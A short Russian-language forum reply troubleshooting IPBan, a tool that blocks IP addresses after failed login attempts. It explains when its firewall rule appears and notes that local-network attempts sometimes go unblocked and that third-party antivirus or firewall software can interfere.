Мне трудно ответить точно, так как не использовал для установки IPBan скрипт. Все делал в ручном режиме. При этом, стоит помнить, что правило IPBan_Block_0, зачастую не создается сразу, а только после неудачной попытки входа. То, что вы описали, как раз является этим случаем. Так и должно быть. Теперь, IPBan должен блокировать IP сразу и добавлять их в правила. Проверьте, сейчас все работает корректно? Другое дело, если у вас снова после созданного правила IPBan_Block_0, не будут блокироваться IP-адреса, это уже будет проблемой.

Плюс, бывают ситуации, когда из Локальной Сети не блокируются неверные попытки входа, а из из внешней Сети все блокирует. Тут, решение мне не известно.

Бывают ситуации, когда работу IPBan нарушает сторонний антивирус / брандмауэр.

Либо, создайте соответствующую тему на формуме, для получения помощи по своей проблеме.

Читайте также: